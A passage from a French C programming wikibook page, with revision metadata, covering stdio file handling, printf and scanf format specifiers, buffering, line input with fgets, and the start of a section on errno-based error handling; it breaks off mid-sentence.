convert] : <pre> convert -trim -density 300x300 tab_la_mineur.ps tmp.ps convert -density 300x300 tmp.ps tab_la_mineur.png </pre> Programmation C Entrées/sorties 515 46509 2006-06-29T15:49:35Z Dhenry 47 /* Sortie */ retrait caractère perdu {{Programmation C}} Les en-têtes de fonctions d'entrées/sorties se trouvent dans ''stdio.h'', pour les utiliser nous utiliserons donc la directive d'inclusion : <pre> #include <stdio.h> </pre> ==Manipulation de fichiers== En C, les fichiers ouverts sont représentés par le type <code>FILE *</code>, qui est un type ''opaque'' (on ne connaît pas la nature réelle du type, mais seulement des fonctions pour le manipuler). Ce type est un ''flux'' de données. Lire ou écrire des données dans un flux le modifie. Le fichier ''stdio.h'' fournit trois flux que l'on peut utiliser « directement » : *<code>stdin</code>, l'entrée standard ; *<code>stdout</code>, la sortie standard ; *<code>stderr</code>, la sortie standard des erreurs. ===Ouverture=== <pre> FILE * fopen(const char * chemin, const char * mode); </pre> Ouvre le fichier désigné par le ''chemin'' et renvoie un nouveau flux de données pointant sur ce fichier. L'argument ''mode'' est une chaîne de caractères désignant la manière dont on veut ouvrir le fichier : *'''r''' : ouvre le fichier en lecture, le flux est positionné au début du fichier ; *'''r+''' : ouvre le fichier en lecture/écriture, le flux est positionné au début du fichier ; *'''w''' : ouvre le fichier en écriture, supprime toutes les données si le fichier existe et le crée sinon, le flux est positionné au début du fichier ; *'''w+''' : ouvre le fichier en lecture/écriture, supprime toutes les données si le fichier existe et le crée sinon, le flux est positionné au début du fichier ; *'''a''' : ouvre le fichier en écriture, crée le fichier s'il n'existe pas, le flux est positionné à la fin du fichier ; *'''a+''' : ouvre le fichier en lecture/écriture, crée le fichier s'il n'existe pas, le flux est positionné à la fin du fichier. {| cellspacing="0" cellpadding="3" border="1" |+ Résumé des modes | mode || lecture || écriture || crée le fichier || vide le fichier || position du flux |- | r || X || || || || début |- | r+ || X || X || || || début |- | w || || X || X || X || début |- | w+ || X || X || X || X || début |- | a || || X || X || || fin |- | a+ || X || X || X || || fin |} Lorsqu'un fichier est ouvert en écriture, les données qui sont envoyées dans le flux ne sont pas directement écrites sur le disque. Elles sont stockées dans un ''tampon'', une zone mémoire de taille finie. Lorsque le tampon est plein, les données sont purgées (''flush''), elles sont écrites dans le fichier. Ce mécanisme permet de limiter les accès au système de fichiers et donc d'accélerer les opérations sur les fichiers. À noter une particularité des systèmes Microsoft Windows, est de traiter différemment les fichiers textes, des fichiers binaires. Sur ces systèmes, le caractère de saut de ligne est en fait composé de deux caractères (CR, puis LF, de code ASCII respectif 13 et 10, ou <code>'\r'</code> et <code>'\n'</code> écrit sous forme de caractère C). Lorsqu'un fichier est ouvert en mode texte (mode par défaut), '''toute séquence CRLF lue''' depuis le fichier sera convertie en LF, et tout caractère LF écrit sera en fait précédé d'un caractère CR supplémentaire. Si le fichier est ouvert en mode binaire, aucune conversion n'aura lieu. Ce genre de comportement issu d'un autre âge, est en fait bien plus agaçant que réellement utile. Le premier réflexe est en général de désactiver ce parasitage des entrées/sorties, tant il est pénible. Pour cela deux cas de figure : <ol> <li>'''Vous avez accès au nom du fichier''' : donc vous pouvez utiliser la fonction <code>fopen()</code>. Dans ce cas de figure, il suffit de rajouter la lettre <code>b</code> au mode d'ouverture&nbsp;: <pre>fopen("fichier.txt", "rb"); /* Ouverture sans conversion */ fopen("fichier.txt", "wb"); /* L'écriture d'un '\n' n'entrainera pas l'ajout d'un '\r' */</pre> </li> <li>'''Vous n'avez pas accès au nom du fichier''' (par exemple <code>stdout</code> ou <code>stdin</code>). Il existe une fonction '''spécifique''' à Microsoft Windows, non portable sur d'autres systèmes, mais qui peut s'avérer nécessaire&nbsp;: <pre>/* Ce code qui suit n'est pas portable */ #include <fcntl.h> setmode(descripteur, O_BINARY);</pre>Histoire de compliquer encore un petit peu, cette fonction travaille avec les descripteurs de fichier, plutôt que les flux stdio. On peut tout de même s'en sortir avec cette fonction faisant partie de la bibliothèque standard&nbsp;: <pre>int fileno(FILE *);</pre> Par exemple pour mettre la sortie standard en mode binaire (indispensable par exemple pour les CGI)&nbsp;: <pre>setmode(fileno(stdout), O_BINARY);</pre> </li> </ol> ===Fermeture=== <pre> int fclose(FILE * flux); </pre> Dissocie le ''flux'' du fichier auquel il avait été associé par <code>fopen</code>. Si le fichier était ouvert en écriture, le tampon est vidé. Cette fonction renvoie 0 si la fermeture c'est bien passée (notamment la purge des zones en écriture), ou EOF en cas d'erreur. C.f gestion des erreurs plus savoir comment obtenir plus d'information sur la cause de l'erreur. ===Suppression=== <pre> int remove(const char * path); </pre> Supprime le fichier ou le répertoire pointé par '<code>path</code>'. La fonction renvoie 0 en cas de réussite et -1 en cas d'erreur, ce qui peut inclure : * Un répertoire n'est pas vide. * Vous n'avez pas les permissions pour effacer le fichier (média en lecture seule). ===Renommage=== <pre> int rename(const char * ancien_nom, const char * nouveau_nom); </pre> Cette fonction permet de renommer l'ancien fichier ou répertoire nommé '<code>ancien_nom</code>' par '<code>nouveau_nom</code>'. Si le fichier ou répertoire existe déjà, il sera écrasé, sauf si&nbsp;: * Vous tentez d'écraser un répertoire par un fichier. * Vous voulez écraser un répertoire non vide. * Vous n'avez pas les permissions suffisantes. * Les deux noms ne sont pas sur la même partition. La fonction renvoie 0 si elle réussie, -1 en cas d'erreur. ===Déplacement dans le flux=== <pre> int fseek( FILE * flux, long deplacement, int methode ); long ftell( FILE * flux ); </pre> <code>fseek</code> permet de se déplacer à une position arbitraire dans un ''flux''. Cette fonction renvoie 0 en cas de réussite. ''deplacement'' indique le nombre d'octet à avancer (ou reculer si ce nombre est négatif) à partir du point de référence (''methode'') : * SEEK_SET : le point de référence sera le début du fichier. * SEEK_CUR : le point de référence sera la position courrante dans le fichier. * SEEK_END : le point de référence sera la fin du fichier. <code>ftell</code> permet de savoir à quelle position se trouve le curseur (ce depuis le début). En cas d'erreur, ces deux fonctions renvoient -1. Plusieurs remarques peuvent être faites sur ces deux fonctions : # Sur une machine 32bits pouvant gérer des fichiers d'une taille de 64bits (plus de 4Go), ces fonctions sont limite inutilisables, du fait qu'un type <code>long</code> sur une telle architecture est limité à 32bits. On mentionnera les fonctions <code>fseeko()</code> et <code>ftello()</code> qui utilisent le type opaque <code>off_t</code>, à la place du type <code>int</code>, à l'image des appels systèmes. Ce type <code>off_t</code> est codé sur 64bits sur les architectures le supportant et 32bits sinon. La disponibilité de ces fonctions est en général limités aux systèmes Unix, puisque dépendantes de la spécification Single Unix (SUS). # Il faut bien sûr que le périphérique où se trouve le fichier supporte une telle opération. Dans la terminologie Unix, on appelle cela un périphérique en mode bloc. À la différence des périphériques en mode caractère (<code>stdin</code>, <code>stdout</code>, tube de communication, connexion réseau, etc ...) pour lesquels ces appels échoueront. ===Synchronisation=== <pre> int fflush ( FILE *flux ); </pre> Cette fonction purge toutes les zones mémoires en attente d'écriture et renvoie 0 si tout c'est bien passé. Si NULL est passé comme argument, tous les flux ouverts en écriture seront purgés. À noter que cette fonction '''ne permet pas''' de purger les flux ouverts en lecture (Pour répondre à une question du genre « Voulez-vous effacer ce fichier (o/n) ? » ). Une instruction de ce genre au mieux, sera ignorée, au pire provoquera un comportement indéterminé : <pre> /* Cette instruction ne fera rien */ fflush( stdin ); </pre> Pour effectuer une purge des flux ouverts en lecture, il faut passer par des appels systèmes normalisés dans d'autres documents ([[Programmation POSIX|POSIX]]), mais dont la disponibilité est en général dépendante du système d'exploitation. ==Sorties formatées== <pre> int printf(const char * format, ...); int fprintf(FILE * flux, const char * format, ...); int sprintf(char * chaine, const char * flux, ...); int snprintf(char * chaine, int taille, const char * flux, ...); </pre> Ces fonctions permettent d'écrire des données formatées dans : *la sortie standard pour <code>printf</code> ; *un ''flux'' pour <code>fprintf</code> ; *une ''chaîne'' de caractères pour <code>sprintf</code>. En retour elle indique le nombre de caractères qui a été écrit à l'écran, dans le flux ou la zone mémoire, '''caractère nul non compris'''. Bien que cela à déjà été traité dans la section dédiée aux chaines de caractères, il faut faire très attention avec la fonction <code>sprintf()</code>. Dans la mesure où la fonction n'a aucune idée de la taille de la zone mémoire transmise, il faut s'assurer qu'il n'y aura pas de débordements. Mieux vaut donc utiliser la fonction <code>snprintf()</code>, qui permet de limiter explicitement le nombre de caractère à écrire. À noter que <code>snprintf()</code> devrait toujours retourner la taille de la chaine à écrire, indépendemment de la limite fixée par le paramètre <code>taille</code>. Le conditionnel reste de mise, car beaucoup d'implémentations de cette fonction se limitent à retourner le nombre de caractères ''écrit'', c'est à dire en s'arrêtant à la limite le cas échéant. ===Type de conversion=== Mis à part l'« endroit » où écrivent les fonctions, elles fonctionnent exactement de la même manière, nous allons donc décrire leur fonctionnement en prenant l'exemple de <code>printf</code>. L'argument ''format'' est une chaîne de caractères qui détermine ce qui sera affiché par <code>printf</code> et sous quelle forme. Cette chaîne est composée de texte « normal » et de séquence de contrôle permettant d'inclure des variables dans la sortie. Les séquences de contrôle commencent par le caractère « % » suivi d'un caractère parmi : *'''d''' ou '''i''' pour afficher un entier signé au format décimal (<code>int</code>) ; *'''u''' pour un entier non signé au format décimal ; *'''x''' ou '''X''' pour afficher un entier au format hexadécimal (avec les lettres "abcdef" pour le format 'x' et "ABCDEF" avec le format 'X') ; *'''f''' pour afficher un réel (<code>double</code>) avec une précision fixe ; *'''e''' pour afficher un réel en notation scientifique ; *'''g''' effectue un mixe de 'f' et de 'e' suivant le format le plus approprié ; *'''c''' pour afficher en tant que caractère ; *'''s''' pour afficher une chaine de caractère C standard ; *'''p''' pour afficher la valeur d'un pointeur, généralement sous forme hexadécimale. Suivant le compilateur, c'est l'équivalent soit à <code>"%08x"</code>, ou alors à <code>"0x%08x"</code>. ; *'''n''' ce n'est pas un format d'affichage et l'argument associé doit être de type <code>int *</code> et pointer vers une référence valide. La fonction stockera le nombre de caractères écrit jusqu'à maintenant ; *'''%''' pour afficher le caractère '%'. ===Contraindre la largeur des champs=== Une autre fonctionnalité intéressante du spécificateur de format est que l'on peut spécifier sur combien de caractère les champs seront alignés. Cette option se place entre le '%' et le format de conversion et se compose d'un signe '-' optionnel suivit d'un nombre, éventuellement d'un point et d'un autre nombre (<code>[-]<nombre>[.<nombre>]</code>). Par exemple: <code>%-30.30s</code>. Le premier nombre indique sur combien de caractère se fera l'alignement. Si la valeur convertie est plus petite, elle sera alignée sur la droite, ou la gauche si un signe moins est présent au début. Si la valeur est plus grande que la largeur spécifiée, le contenu s'étendra au-delà, décalant tout l'alignement. Pour éviter ça, on peut spécifier un deuxième nombre au delà duquel le contenu sera tronqué. Quelques exemples: <pre> printf("%10s", "Salut"); /* " Salut" */ printf("%-10s", "Salut"); /* "Salut " */ printf("%10s", "Salut tout le monde"); /* "Salut tout le monde" */ printf("%10.10s", "Salut tout le monde"); /* "Salut tout" */ </pre> ===Contraindre la largeur des champs numériques=== On peut aussi paramétrer la largeur du champ, en spécifiant <code>*</code> à la place. Dans ce cas, en plus de la variable à afficher, il faut donner '''avant''' un entier de type <code>int</code> pour dire sur combien de caractères l'alignement se fera : <pre> printf("%-*d", 10, 1234); /* "1234 " */ printf("%*d", 10, 1234); /* " 1234" */ </pre> À noter que pour le formattage de nombres entiers, la limite « dure » du spécificateur de format est sans effet, pour éviter de facheuse erreur d'interprétation. On peut toutefois utiliser les extensions suivantes : * <code>0</code> : Si un zéro est présent dans le spécificateur de largeur, le nombre sera aligné avec zéros au lieu de blancs. * <code>+</code> : Si un signe plus est présent avec le spécificateur de largeur, le signe du nombre sera affiché tout le temps (0 est considéré comme positif). * <code>&nbsp;<code> (espace) : Si le nombre est positif, un blanc sera mis avant, pour l'aligner avec les nombres négatifs. Exemples : <pre> printf("%+010d", 543); /* "+000000543" */ printf("%-+10d", 543); /* "+543 " */ printf("%-+10d", 1234567890); /* "+1234567890" */ printf("%-+10.10d", 1234567890); /* "+1234567890" */ printf("%08x", 543); /* "0000021f"*/ </pre> ===Contraindre la largeur des champs réels=== Pour les réels, la limite « dure » sert en fait à indiquer la précision voulue après la virgule : <pre> printf("%f", 3.1415926535); /* "3.141593" */ printf("%.8f", 3.1415926535); /* "3.14159265" */ </pre> ===Spécifier la taille de l'objet=== Par défaut, les entiers sont présuposés être de type <code>int</code>, les réels de type <code>double</code> et les chaines de caractères de type <code>char *</code>. Il arrive toutefois que les types soient plus grands (et non plus petit à cause de la '''promotion des types''', C.f. section [[Programmation C Opérateurs#Promotion|opérateurs]] et [[Programmation C Fonctions et procédures#Accès aux arguments|fonction à nombre variable d'arguments]]), le spécificateur de format permet donc d'indiquer la taille de l'objet en ajoutant les attributs suivants '''avant''' le caractère de conversion : * hh : (uniquement pour les conversions de type '<code>n</code>') : indique que le pointeur correspondant est de type '''<code>char *</code>''' au lieu de <code>int *</code>. * h : (uniquement pour les conversions de type '<code>n</code>') : indique que le pointeur correspondant est de type '''<code>short *</code>''' au lieu de <code>int *</code>. * l : pour les entiers, le type attendu ne sera plus <code>int</code> mais '''<code>long int</code>''' et pour les chaines de caractères, il sera de type '''<code>wchar_t *</code>''' (C.f section [[Programmation C Chaînes de caractères|chaînes de caractères]]). * ll : Cet attribut ne concerne que les types entiers, où le type attendu sera '''<code>long long int</code>'''. * L : Pour les types réels, le type attendu sera '''<code>long double</code>''', et pour les entiers, il s'agit d'un synonyme de <code>ll<code>. Pour résumer les types d'arguments attendus en fonction de l'indicateur de taille et du type de conversion : {| cellspacing="0" cellpadding="3" border="1" ! rowspan="2"|Format ! colspan="5"|Attributs de taille ! colspan="3"|Autres attributs<br />(rarement utilisés) |- | ''aucun'' || '''hh''' || '''h''' || '''l''' ''(elle)'' || '''ll''' ''(elle-elle)'' ou '''L''' || '''j''' || '''z''' || '''t''' |- | n || int * || char * || short * || long * || long long * || intmax_t * || size_t * || ptrdiff_t * |- |d, i, o, x || int || || || long || long long || intmax_t || size_t || ptrdiff_t |- | u || unsigned int || || || unsigned long || unsigned long long || uintmax_t || size_t || ptrdiff_t |- | s || char * || || || wchar_t * || || || || |- | c || int || || || wint_t || || || || |- | p || void * || || || || || || || |- | f, e, g || float || || || double || long double || || || |} Quelques exemples (sur une architecture 32bits) : <pre> char nb; printf("%Lu", -1LL); /* "18446744073709551615" */ printf("%d%hhn", 12345, &nb); /* "12345" et nb vaudra 5 */ printf("%ls", L"Hello world!"); /* "Hello world!" */ </pre> ===Arguments positionnels=== Il s'agit d'une fonctionnalité relativement peu utilisée, mais qui peut s'avérer très utile dans le cadre d'une application internationnalisée. Considérez le code suivant (tiré du manuel de <code>gettext</code>) : <pre> printf( gettext("La chaine `%s' a %d caractères\n"), s, strlen(s) ); </pre> <code>gettext</code> est un ensemble de fonctions permettant de manipuler des catalogues de langues. La principale fonction de cette bibliothèque est justement <code>gettext()</code>, qui en fonction d'une chaine de caractère retourne la chaine traduite selon la locale en cours (où celle passée en argument si rien n'a été trouvé). Une traduction en allemand du message précédant, pourrait donner : <code>"%d Zeichen lang ist die Zeichenkette `%s'"</code> On remarque d'emblée que les spécificateurs de format sont inversés par rapport à la chaine originale. Or l'ordre des arguments passés à la fonction <code>printf()</code> sera toujours le même. Il est quand même possible de s'en sortir avec les arguments positionnels. Pour cela, il suffit d'ajouter à la suite du caractère <code>%</code> un nombre, suivit d'un signe <code>$</code>. Ce nombre représente le numéro de l'argument à utiliser pour le spécificateur, en commençant à partir de 1. Un petit exemple : <pre> char * s = "Bla bla"; printf("La chaine %2$s a %1$d caractères\n", strlen(s), s); /* "La chaine Bla bla a 7 caractères" */ </pre> À noter que si '''un''' des arguments utilise la référence positionnelle, '''tous les autres arguments''' devront faire évidemment de même, sous peine d'avoir un comportement imprévisible. ===Écriture par bloc ou par ligne=== Il s'agit d'une fonctionnalité relativement pointue de la bibliothèque <code>stdio</code>, mais qui peut expliquer certains comportement en apparence étrange (notamment avec les systèmes POSIX). Les réglages par défaut étant bien faits, il y a peu de chance pour que vous ayez à vous soucier de cet aspect, si ce n'est à titre de curiosité. En règle générale les flux de sortie ouvert par via la bibliothèque <code>stdio</code> sont gérés par bloc, ce qui veut dire qu'une ''écriture'' (via <code>printf()</code>, <code>fprintf()</code> ou <code>fwrite()</code>) ne sera pas systématiquement répercutée dans le fichier associé. Cela dépend en fait du type d'objet sur lequel les écritures se font : * Un terminal : les écritures se feront par ligne, ou si les lignes sont plus grandes qu'une certaine taille (4Ko en général), l'écriture se fera par bloc. Les flux en écriture seront aussi purgés si on tente de lire des données depuis le même terminal. * Autre (fichiers, connexion réseau, tubes de communication) : les écritures se feront par bloc, indépendamment des lignes. * Flux d'erreur (<code>stderr</code>) : écriture immédiate. C'est ce qui fait qu'un programme affichant des messages à intervalle régulier (genre une seconde), affichent ces lignes une à une sur un terminal, et par bloc de plusieurs lignes lorsqu'on redirige sa sortie vers un programme de mise en page (comme <code>more</code>), avec une latence qui peut s'avérer génante. C'est ce qui fait aussi qu'une instruction comme <code>printf("Salut tout le monde");</code> n'affichera en général rien, car il n'y a pas de retour à la ligne. En fait ce comportement peut être explicitement réglé, avec cette fonction : <pre>int setvbuf( FILE * flux, char * mem, int mode, int taille );</pre> Cette fonction doit être appelée juste '''après''' l'ouverture du flux et '''avant''' la première écriture. Les arguments ont la signification suivante : * <code>flux</code> : Le flux <code>stdio</code> pour lequel vous voulez changer la méthode d'écriture. * <code>mem</code> : Vous pouvez transmettre une zone mémoire qui sera utilisée pour stocker les données avant d'être écrites dans le fichier. Vous pouvez aussi passer la valeur <code>NULL</code>, dans ce cas les fonctions <code>stdio</code>, appeleront la fonction <code>malloc()</code> lors de la ''première'' écriture. * <code>mode</code> : indique comment se feront les écritures : ** <code>_IONBF</code> : écriture immédiate, pas de stockage temporaire. ** <code>_IOLBF</code> : écriture par ligne. ** <code>_IOFBF</code> : par bloc. * <code>taille</code> : La taille de la zone mémoire transmise ou à allouer. La fonction <code>setvbuf()</code> renvoie 0 si elle réussi, et une valeur différente de zéro dans le cas contraire (en général le paramètre <code>mode</code> est invalide). Cette fonctionnalité peut être intéressante pour les programmes générant des messages sporadiques. Il peut effectivement s'écouler un temps arbitrairement long avant que le bloc mémoire soit plein, si cette commande est redirigée vers un autre programme, ce qui peut s'avérer assez dramatique pour des messages signalant une avarie grave. Dans ce cas, il est préférable de forcer l'écriture par ligne (ou immédiate), plutôt que de faire suivre systématiquement chaque écriture de ligne par un appel à <code>fflush()</code>, avec tous les risques d'oubli que cela comporte. ===Quelques remarques pour finir=== La famille de fonctions <code>printf()</code> permet donc de couvrir un large éventail de besoins, au prix d'une pléthore d'options pas toujours faciles à retenir. Il faut aussi faire attention au fait que certaine implémentation de <code>printf()</code> tienne compte de la localisation en cours pour les conversions des réels (virgule ou point comme séparateur décimal, espace ou point comme séparateurs des milliers, etc.). Ceci peut être gènant lorsqu'on veut retraiter la sortie de la commande. Pour désactiver la localisation, on peut utiliser la fonction <code>setlocale()</code>&nbsp;: <pre> #include <locale.h> /* ... */ setlocale( LC_ALL, "C" ); printf( ... ); setlocale( LC_ALL, "" ); </pre> ==Entrées formatées== La bibliothèque <code>stdio</code> propose quelques fonctions très puissantes pour saisir des données depuis un flux quelconque. Le comportement de certaines fonctions (<code>scanf</code> notamment) peut paraitre surprenant de prime abord, mais s'éclaircira à la lumière des explications suivantes. <pre> int scanf(const char * format, ...); int fscanf(FILE * flux, const char * format, ...); int sscanf(const char * chaine, const char * format, ...); </pre> Ces trois fonctions permettent de lire des données formatées provenant de : *l'entrée standard pour <code>scanf</code> ; *un ''flux'' pour <code>fscanf</code> ; *une ''chaîne'' de caractères pour <code>sscanf</code>. L'argument ''format'' ressemble aux règles d'écriture de la famille de fonction <code>printf</code>, cependant les arguments qui suivent ne sont plus des variables d'entrée mais des variables de sortie (ie : l'appel à <code>scanf</code> va modifier leur valeur, il faut donc passer une référence). Ces fonctions retournent le nombre d'arguments correctement lus depuis le format, qui peut être inférieur ou égal au nombre de spécificateurs de format, et même nul. ===Format de conversion=== Les fonctions <code>scanf()</code> analysent le spécificateur de format et les données d'entrée, en les comparant caractère à caractère et s'arrêtant lorsqu'il y en a un qui ne correspond pas. À noter que les blancs (espaces, tabulations et retour à la ligne) dans le spécificateur de format ont une signification spéciale : à un blanc de la chaine ''format'' peut correspondre un nombre quelconque de blanc dans les données d'entrée, y compris aucun. D'autres part, il est possible d'insérer des séquences spéciales, commençant par le caractère '%' et à l'image de <code>printf()</code>, pour indiquer qu'on aimerait récupérer la valeur sous la forme décrite par le caractère suivant le '%' : * '''s''' : extrait la chaîne de caractères, '''en ignorant les blancs initiaux et ce jusqu'au prochain blanc'''. L'argument correspondant doit être de type <code>char *</code> et pointer vers un bloc mémoire suffisamment grand pour contenir la chaîne et son caractère terminal. * '''d''' : extrait un '''nombre décimal signé''' de type <code>int</code>, ignorant les espaces se trouvant éventuellement avant le nombre. * '''i''' : extrait un '''nombre''' (de type <code>int</code>) hexadécimal, si la chaine commence par "<code>0x</code>", octal si la chaine commence par "<code>0</code>" et décimal sinon. Les éventuels espaces initiaux seront ignorés. * '''f''' : extrait un '''nombre réel''', en sautant les blancs, de type <code>float</code>. * '''u''' : lit un '''nombre décimal non-signé''', sans les blancs, de type <code>int</code>. * '''c''' : lit un '''caractère''' (de type </code>char</code>), y compris un blanc. * '''[]''' : lit une '''chaîne de caractères''' qui doit faire partie de l'ensemble entre crochets. Cet ensemble est une énumération de caractère. On peut utiliser le tiret ('-') pour grouper les déclarations (comme "<code>0-9</code>" ou "<code>a-z</code>"). Pour utiliser le caractère spécial ']' dans l'ensemble, il doit être placé en ''première position'' et, pour utiliser le tiret comme un caractère normal, il doit être mis à la fin. Pour indiquer que l'on veut tous les caractères sauf ceux de l'ensemble, on peut utiliser le caractère '^' en première position. À noter que <code>scanf</code> terminera toujours la chaîne par 0 et que, contrairement au spécificateur <code>%s</code>, les blancs ne seront pas ignorés. * '''n''' : Comme pour la fonction <code>printf()</code>, ce spécificateur de format permet de stocker dans l'entier correspondand de type <code>int</code>, le '''nombre de caractères lus''' jusqu'à présent. ===Contraindre la largeur=== Comme pour la fonction <code>printf()</code>, il est possible de contraindre le nombre de caractères à lire, en ajoutant ce nombre juste avant le caractère de conversion. Dans le cas des chaînes, c'est même une obligation, dans la mesure où <code>scanf()</code> ne pourra pas ajuster l'espace à la volée. Exemple : <pre> /* Lit une chaîne de caractères entre guillemets d'au plus 127 caractères */ char tmp[128]; if( fscanf( fichier, "Config = \"%127[^\"]\"", tmp ) == 1 ) { printf( "L'argument associé au mot clé 'Config' est '%s'\n", tmp ); } </pre> Cet exemple est plus subtil qu'il ne paraît. Il montre comment analyser une structure relativement classique de ce qui pourrait être un fichier de configuration de type "MotClé=Valeur". Ce format spécifie donc qu'on s'attend à trouver le mot clé "Config", en ignorant éventuellement les blancs initiaux, puis le caratère '=', entouré d'un nombre quelconque de blancs, eventuellement aucun. À la suite de cela, on doit avoir un guillemet ('"'), puis au plus 127 caractères autres que que les guillemets, qui seront stockés dans la zone mémoire <code>tmp</code> (qui sera terminée par 0, d'où l'allocation d'un caractère supplémentaire). Le guillemet final est là pour s'assurer, d'une part, que la longueur de la chaîne est bien inférieure à 127 caractère et, d'autre part, que le guillemet n'a pas été oublié dans le fichier. En cas d'erreur, on peut par exemple ignorer tous les caractères jusqu'à la ligne suivante. ===Ajuster le type des arguments=== On peut aussi ajuster le type des arguments en fonction des attributs de taille : {| cellspacing="0" cellpadding="3" border="1" ! rowspan="2"|Format ! colspan="4"|Attributs de taille |- | ''aucun'' || '''h''' || '''l''' ''(elle)'' || '''ll''' ''(elle-elle)'' |- | d, i, n || int * || short * || long * || long long * |- | u || unsigned int * || unsigned short * || unsigned long * || unsigned long long * |- | s, c, [ ] || char * || || || |- | f || float * || || double * || long double * |} Ainsi pour lire la valeur d'un entier sur l'entrée standard, on utilisera un code tel que celui ci : <pre> int main(int argc, char **argv) { int i; printf("Entrez un entier : "); scanf("%d", &i); printf("la variable i vaut maintenant %d\n", i); } </pre> Les appels à <code>printf</code> ne sont pas indispensables à l'exécution du <code>scanf</code>, mais permettent à l'utilisateur de comprendre ce qu'attend le programme (et ce qu'il fait aussi). ===Conversions muettes=== La fonction <code>scanf</code> reconnait encore un autre attribut qui permet d'effectuer la conversion, mais sans retourner la valeur dans une variable. Il s'agit du caractère étoile '*', qui remplace l'éventuel attribut de taille. En théorie, la valeur de retour ne devrait pas tenir compte des conversions muettes. Exemple: <pre> int i, j; sscanf("1 2.434e-308 2", "%d %*f %d", &i, &j); /* i vaut 1 et j vaut 2 */ </pre> ===Quelques remarques pour finir=== La fonction <code>scanf()</code> n'est pas particulièrement adaptée pour offrir une saisie conviviale à l'utilisateur, même en peaufinant à l'extrême les spécificateurs de format. En général, il faut s'attendre à une gestion '''très rudimentaire''' du clavier, avec très peu d'espoir d'avoir ne serait-ce que les touches directionnelles pour insérer du texte à un endroit arbitraire. Qui plus est, lors de saisie de texte, les terminaux fonctionnent en mode bloc : pour que les données soient transmises à la fonction de lecture, il faut que l'utilisateur confirme sa saisie par entrée. Même les cas les plus simple peuvent poser problèmes. Par exemple, il arrive souvent qu'on ne veuille saisir qu'un caractère pour répondre à une question du genre <code>"Écraser/Annuler/Arrêter ? (o|c|s)"</code>, avant d'écraser un fichier. Utiliser une des fonctions de saisie nécessite de saisir d'abord un caractère, ensuite de valider avec la touche ''entrée''. Ce qui peut non seulement être très pénible s'il y a beaucoup de questions, mais aussi ''risqué'' si on ne lit les caractères qu'un à un. En effet, dans ce dernier cas, si l'utilisateur entre une chaine de plusieurs caractères, puis valide sa saisie, les caractères non lus seront disponibles pour des lectures ultérieures, répondant de ce fait automatiquement aux questions du même type. Il s'agit en fait de deux opérations en apparence simples, mais impossible à réaliser avec la bibliothèque C standard : # Purger les données en attente de lecture, pour éviter les réponses « automatiques ». # Saisir des caractères sans demande de confirmation. Ces fonctionnalités sont hélas le domaine de la gestion des terminaux POSIX et spécifiées dans la norme du même nom. On l'aura compris, cette famille de fonction est plus à l'aise pour traiter des fichiers, ou tout objet nécessitant le moins d'interaction possible avec l'utilisateur. Néanmoins dans les cas les plus simples, ce sera toujours un pis-aller. À noter, que contrairement à la famille de fonction <code>printf()</code>, <code>scanf()</code> n'est pas sensible à la localisation pour la saisie de nombres réels. ==Entrées non formatées== Pour saisir des chaines de caractères indépendemment de leur contenu, on peut utiliser les fonctions suivantes : <pre> char * fgets( char * chaine, int taille_max, FILE * flux ); int fgetc( FILE * flux ); int ungetc( int octet, FILE * flux ); </pre> La fonction <code>fgets()</code> permet de saisir une ligne complète dans la zone mémoire spécifiée, en évitant tout débordement. Si la ligne peut être contenue dans le bloc, elle contiendra le caractère de saut de ligne (<code>'\n'</code>), en plus du caractère nul. Dans le cas contraire, la ligne sera tronquée, et la suite de la ligne sera obtenue à l'appel suivant. Si la fonction a pu lire au moins un caractère, elle retournera la chaine transmise en premier argument, ou <code>NULL</code> s'il n'y a plus rien à lire. Voici une manière de lire une ligne arbitrairement longue : <pre> #include <stdio.h> #include <stdlib.h> #include <string.h> char * saisie_chaine( FILE * flux ) { int taille = 256; int offset = 0; char * chaine = malloc( taille ); while( chaine && fgets( chaine + offset, taille - offset, flux ) ) { offset = taille - 1; if( strrchr( chaine, '\n' ) == 0 ) { char * nouvelle = realloc( chaine, taille += 256 ); if( nouvelle == NULL ) free( chaine ); chaine = nouvelle; } else break; } if( offset == 0 && chaine ) { free( chaine ); return NULL; } return chaine; } </pre> À noter que cette fonction est incapable de traiter des fichiers mixtes (binaire et texte) depuis un descripteur en mode caractère (accès séquentiel). D'une part la fonction ne renvoyant pas le nombre d'octet lus (ce qui aurait facilement réglé le problème) et d'autre part, ftell() ne fonctionnant pas sur de tels descripteurs, il faudra reprogrammer <code>fgets</code> pour gérer ce cas de figure. La fonction <code>fgetc()</code> permet de ne saisir qu'un caractère depuis le flux spécifié. À noter que la fonction renvoie bien un entier de type <code>int</code> et non de type <code>char</code>, car en cas d'erreur (y compris la fin de fichier), cette fonction renvoie <code>EOF</code> (défini à -1 en général). ==Entrées/sorties brutes== Les fonctions suivantes permettent d'écrire ou de lire des quantités arbitraires de données depuis un flux. Il faut faire attention à la portabilité de ces opérations, notamment lorsque le flux est un fichier. Dans la mesure où lire et écrire des structures binaires depuis un fichier nécessite de gérer l'alignement, le bourrage, l'ordre des octets pour les entiers (''big endian'', ''little endian'') et le format pour les réels, il est souvent infiniment plus simple de passer par un format texte. ===Sortie=== <pre> size_t fwrite(const void * buffer, size_t taille, size_t nombre, FILE * flux); </pre> ===Entrée=== <pre> size_t fread(void * buffer, size_t taille, size_t nombre, FILE * flux); </pre> Lit ''nombre'' éléments, chacun de taille ''taille'', à partir du ''flux'' et stocke le résultat dans le ''buffer''. Renvoie le nombre d'éléments correctement lus. ==Gestion des erreurs== Qui dit entrées/sorties, dit forcément une pléthore de cas d'erreurs à gérer. C'est souvent à ce niveau que se distinguent les « bonnes » applications des autres : fournir un comportement cohérent face à ces situations exceptionnelles. Il peut s'agir d'un travail de longue haleine, dépendamment du degré de convivialité recherché, mais laisser de côté des cas que l'on penserait exceptionnels est le meilleur moyen de découvrir l'impitoyable loi de Murphy. Dans la description des fonctions précédentes, il est fait mention que, en cas d'erreur, un code spécial est retourné par la fonction. C'est un peu court pour présenter à l'utilisateur un message pertinent sur la cause réelle de cette erreur. En fait la bibliothèque <code>stdio</code> repose, comme beaucoup d'autres, sur la variable globale ''errno'', déclarée dans le fichier en-tête <code>errno.h</code>. Hélas, le contenu de cette variable est '''extrêmement''' pénible à gérer. Pour être portable, on ne peut être sûr de son contenu '''que''' lorsqu'une fonction signale une erreur. Ce qui veut dire que le code de retour de chaque fonction susceptible de faire une entrée/sortie doit être testé. Qui plus est, en cas d'erreur, il est sage de présupposer la durée de vie la plus courte possible du contenu de <code>errno</code> et de le copier le plus rapidement possible dans un endroit sûr. Bien que le standard C impose ne modifier 